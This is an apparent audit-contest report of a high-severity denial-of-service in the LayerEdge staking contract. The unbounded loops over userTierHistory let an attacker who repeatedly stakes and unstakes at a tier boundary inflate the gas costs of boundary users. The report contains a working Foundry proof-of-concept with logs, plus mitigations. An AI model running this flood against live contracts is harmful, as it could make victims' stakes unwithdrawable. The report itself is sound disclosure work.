Ripe Mercurial Eagle

High

# Unbounded loops over userTierHistory allows history-flood DOS on Tier-boundary users

### Summary

The `calculateUnclaimedInterest()` function iterates over all entries in a user’s `userTierHistory` via two unbounded for‐loops. 
An attacker can repeatedly **stake** and **unstake** around the _Tier2_ and _Tier3_ cut-lines (e.g. the 20th of 19→20 stakers) to force 3 honest users to flip tiers on every transaction. 
Each flip appends an entry, so with a 1000 fake addresses doing one stake + one unstake each, those boundary users accumulate each ∼2000 history records, making any call to `stake`, `unstake` or `claimInterest` for them hundred times more expensive - and eventually unusable.

### Root Cause

In [`LayerEdgeStaking.sol:397`](https://github.com/sherlock-audit/2025-05-layeredge/blob/main/edgen-staking/src/stake/LayerEdgeStaking.sol#L397C14-L397C40) function `calculateUnclaimedInterest()` has two loops:

1. Loop A:
```solidity
// Find the most recent tier event before fromTime
        for (uint256 i = 0; i < userTierHistory.length; i++) { //@audit unbounded loop, could be a problem if userTierHistory is large
            if (userTierHistory[i].timestamp <= fromTime) {
                currentTier = userTierHistory[i].to;
                relevantStartIndex = i;
            } else {
                break;
            }
        }
```

2. Loop B:
```solidity
// Then process any subsequent tier changes within our calculation window
        for (uint256 i = relevantStartIndex + 1; i < userTierHistory.length; i++) { //@audit unbounded loop; How can we flood the userTierHistory?
            if (userTierHistory[i].timestamp >= toTime) break;

            periodStart = userTierHistory[i].timestamp;
            periodEnd = (i == userTierHistory.length - 1) ? toTime : userTierHistory[i + 1].timestamp;
            if (periodEnd > toTime) periodEnd = toTime;

            if (periodEnd <= periodStart) continue;

            Tier periodTier = userTierHistory[i].to;
            uint256 apy = getTierAPYForPeriod(periodTier, periodStart, periodEnd);

            uint256 periodInterest =
                ((user.balance * apy * (periodEnd - periodStart)) / (SECONDS_IN_YEAR * PRECISION)) / 100;
            totalInterest += periodInterest;
        }
        return totalInterest;
    }
```

Both loops iterate proportional to the number of history events on either side of the `user.lastClaimTime`. 

Every recorded tier change is permanently appended to the `userTierHistory`, possibly growing indefinitely.

### Internal Pre-conditions

1. Contract needs to be deployed and running
2. Users should be able to interact with the protocol and to stake

### External Pre-conditions

The attacker must time their stake so that the total number of stakers (`stakerCountInTree`) sits exactly on a tier boundary (e.g. 19→20), ensuring their new stake will trigger one or more honest users to switch between tiers.

**Example**:

n=19 , attacker joins → n→20

```solidity
 Before (19 stakers):  
   Tier1 = ⎣20% x19⎦ = 3 users (IDs 1–3)  
   Tier2 = ⎣30% x19⎦ = 5 users (4–8)  
   Tier3 = rest 11 users (9–19)  
   
 Attacker stakes → 20 stakers:  
   Tier1 = ⎣20% x20⎦ = 4 (IDs 1–4)  **TIER SWITCH:** User 4: Tier2→Tier1  
   Tier2 = ⎣30% x20⎦ = 6 (5–10)     **TIER SWITCH:**  User 9,10: Tier3→Tier2
   Tier3 = rest 10 users (11–20)  
```

The attacker’s subsequent unstake (reducing `stakerCountInTree` 20→19) flips those same three users back on their previous tier, appending new entries to the `userTierHistory`.

### Attack Path

1. Deploy staking contract, honest users stake up to 19 total.
2. Attacker preps 1000 funded addresses with the min staking amount.
3. Each address in turn does:
    1. `stake(minAmount)` at 19→20: records flips for `user4` (Tier2→Tier1), `user9` and `user10` (Tier3→Tier2)
    2. `unstake(minAmount)` at 20→19: records a flip for `user4` (Tier1→Tier2), `user9` and `user10` (Tier2→Tier3)
4. After 1000 iterations, `user4`, `user9` and `user10` have ~2000 new tier history entries each, while the rest unaffected users have 1 entry. Attacker’s addresses are permanently out of the tree after unstaking.
5. Any call to `stake`, `unstake` or `claimInterest` for those victims now must iterate the ~2000 entries which spikes the gas cost by ~100x

### Impact

This attack have impact on a multiple levels:

1. **On a user level** - boundary victims see their transaction costs skyrocket until they cannot affort to interact with the protocol (DoS) - unstaking becomes extremely expensive, or impossible (tx OOG). 
Furthermore, the protocol owner does not have any mechanism to withdraw staked amounts per user, meaning victims funds could get locked for extended period of time.

2. **On a protocol level** - trust erosion and perspective stakers fear landing on a boundary and having their funds unclaimable. In addition, potential high number of users churning due to low protocol integrity.

### PoC

### 1. Add the following test into the `LayerEdgeStakingTest.t.sol`:

```solidity
    function test_attackStakersTierHistoryOnTierBoundraies() public {
        // 1) Setup 19 stakers distributed in tiers in the following way: Tier1 - 3 users, Tier2 - 5 users, Tier3 - 11 users
        uint256 INITIAL_STAKERS_COUNT = 19;
        address[] memory stakers = new address[](INITIAL_STAKERS_COUNT);
        console2.log(
            "\n------------Stakings made before flood attack---------------------"
        );
        for (uint256 i = 0; i < INITIAL_STAKERS_COUNT; i++) {
            address user = makeAddr(string(abi.encodePacked("user", i)));
            stakers[i] = user;

            // Distribute enough tokens for 2 stakes with MIN_STAKE
            vm.prank(admin);
            token.transfer(user, 2 * MIN_STAKE);

            vm.startPrank(user);
            token.approve(address(staking), MIN_STAKE);

            // log gas used for staking before flood attack
            uint256 gastStart = gasleft();
            staking.stake(MIN_STAKE);
            uint256 gasUsed = gastStart - gasleft();
            console2.log("Staker%s used %s gas for staking", i + 1, gasUsed);

            vm.stopPrank();
        }

        // 2) Simulate flood attack from 1000 different addresses - each address stakes and unstakes once.
        // Each staking with add one staker to the tree - adding up to 20 total in tree.
        // Each subsequent unstaking will remove the staker from
        console2.log(
            "\n------------SIMULATING DoS with 1000 subsequent attackers---------------------"
        );
        uint256 numAttackers = 1_000;
        for (uint256 i = 1; i <= numAttackers; i++) {
            address attacker = makeAddr(
                string(abi.encodePacked("attacker", i))
            );

            // Fund attacker with enough tokens for one stake
            vm.prank(admin);
            token.transfer(attacker, MIN_STAKE);

            // Attacker performs stake+unstake, shifting tier boundaries and flooding the same 3 users tier history(as shown below)
            vm.startPrank(attacker);
            token.approve(address(staking), MIN_STAKE);
            uint256 gasStart = gasleft();
            staking.stake(MIN_STAKE);
            staking.unstake(MIN_STAKE);
            vm.stopPrank();

            uint256 gasUsed = gasStart - gasleft();

            if (i % 100 == 0) {
                // log gas used by each 100th attacker
                console2.log(
                    "Attacker #%s: Gas used for stake+unstake: %s",
                    i,
                    gasUsed
                );
            }
        }
        console2.log(
            "\n------------SIMULATION OF DoS with 1000 subsequent attackers COMPLETED---------------------"
        );

        // Post-attack: stakers 3,8,9 have their tier history flooded with 2000 events(due to 2000 tier boundary shifts)
        // Staker 1 is unaffected as it is not on the boundary.
        uint256 len1After = staking.stakerTierHistoryLength(stakers[1]);
        uint256 len3After = staking.stakerTierHistoryLength(stakers[3]);
        uint256 len8After = staking.stakerTierHistoryLength(stakers[8]);
        uint256 len9After = staking.stakerTierHistoryLength(stakers[9]);

        console2.log("User 1 tier history length after attack: %s", len1After);
        console2.log("User 3 tier history length after attack: %s", len3After);
        console2.log("User 8 tier history length after attack: %s", len8After);
        console2.log("User 9 tier history length after attack: %s", len9After);

        assertEq(len8After, 2001); //2001 = 1 initial stake + 2000 events from the flood attack
        assertEq(len9After, 2001);

        console2.log(
            "\n------------Gas costs after attack---------------------"
        );

        // 3. Gas costs for unaffected staker1
        vm.startPrank(stakers[1]);
        token.approve(address(staking), MIN_STAKE);
        uint256 gasStart1 = gasleft();
        staking.stake(MIN_STAKE);
        uint256 gasUsed1 = gasStart1 - gasleft();
        console2.log("Staker1 used %s gas for staking", gasUsed1);
        vm.stopPrank();

        // 4. Demonstrate the increase in gas costs for stake/unstake/claimInterest operations for staker 8
        // Gas difference with unaffected users - magnitude of 100x
        vm.startPrank(stakers[8]);
        token.approve(address(staking), MIN_STAKE);
        uint256 gasStartStaker8 = gasleft();
        staking.unstake(MIN_STAKE);
        //staking.stake(MIN_STAKE); - will require same high gas cost
        uint256 gasUsedForStaker8 = gasStartStaker8 - gasleft();
        console2.log("Staker8 used %s gas for staking", gasUsedForStaker8);
        vm.stopPrank();
    }
```

### 2. Execute the following command to run the test:
```shell
forge test --mt test_attackStakersTierHistoryOnTierBoundraies -vv
```

### 3. Example logs of the test result:

```shell
Warning: This is a nightly build of Foundry. It is recommended to use the latest stable version. Visit https://book.getfoundry.sh/announcements for more information. 
To mute this warning set `FOUNDRY_DISABLE_NIGHTLY_WARNING` in your environment. 

[⠊] Compiling...
[⠘] Compiling 3 files with Solc 0.8.23
[⠃] Solc 0.8.23 finished in 1.65s
Compiler run successful!

Ran 1 test for test/stake/LayerEdgeStakingTest.t.sol:LayerEdgeStakingTest
[PASS] test_attackStakersTierHistoryOnTierBoundraies() (gas: 817027015)
Logs:
  
------------Stakings made before flood attack---------------------
  Staker1 used 970379 gas for staking
  Staker2 used 309152 gas for staking
  Staker3 used 332867 gas for staking
  Staker4 used 309375 gas for staking
  Staker5 used 355126 gas for staking
  Staker6 used 310138 gas for staking
  Staker7 used 381412 gas for staking
  Staker8 used 308968 gas for staking
  Staker9 used 377847 gas for staking
  Staker10 used 478439 gas for staking
  Staker11 used 334098 gas for staking
  Staker12 used 310189 gas for staking
  Staker13 used 355998 gas for staking
  Staker14 used 359106 gas for staking
  Staker15 used 382455 gas for staking
  Staker16 used 357326 gas for staking
  Staker17 used 448589 gas for staking
  Staker18 used 312123 gas for staking
  Staker19 used 334862 gas for staking
  
------------SIMULATING DoS with 1000 subsequent attackers---------------------
  Attacker #100: Gas used for stake+unstake: 855191
  Attacker #200: Gas used for stake+unstake: 875091
  Attacker #300: Gas used for stake+unstake: 873590
  Attacker #400: Gas used for stake+unstake: 916392
  Attacker #500: Gas used for stake+unstake: 957693
  Attacker #600: Gas used for stake+unstake: 914891
  Attacker #700: Gas used for stake+unstake: 893490
  Attacker #800: Gas used for stake+unstake: 914891
  Attacker #900: Gas used for stake+unstake: 893490
  Attacker #1000: Gas used for stake+unstake: 850688
  
------------SIMULATION OF DoS with 1000 subsequent attackers COMPLETED---------------------
  User 1 tier history length after attack: 2
  User 3 tier history length after attack: 2002
  User 8 tier history length after attack: 2001
  User 9 tier history length after attack: 2001
  
------------Gas costs after attack---------------------
  Staker1 used 19584 gas for staking
  Staker8 used 1948534 gas for staking

Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.30s (1.30s CPU time)

Ran 1 test suite in 1.31s (1.30s CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

### Mitigation

1. Introducing a change tier cooldown → for example ensure at most one recorded switch between tiers per user per hour (or reasonable time), making the attack orders of magnitude slower and economically infeasible - without deleting any existing history.

1. Other way is to buffer quick changes by introducing a pending tier switch until X seconds passed, then commit only the last state.

2. Introduce Stake/Unstake rate limit - the users can’t stake and then immediately unstake (or vice versa) without waiting certain time period.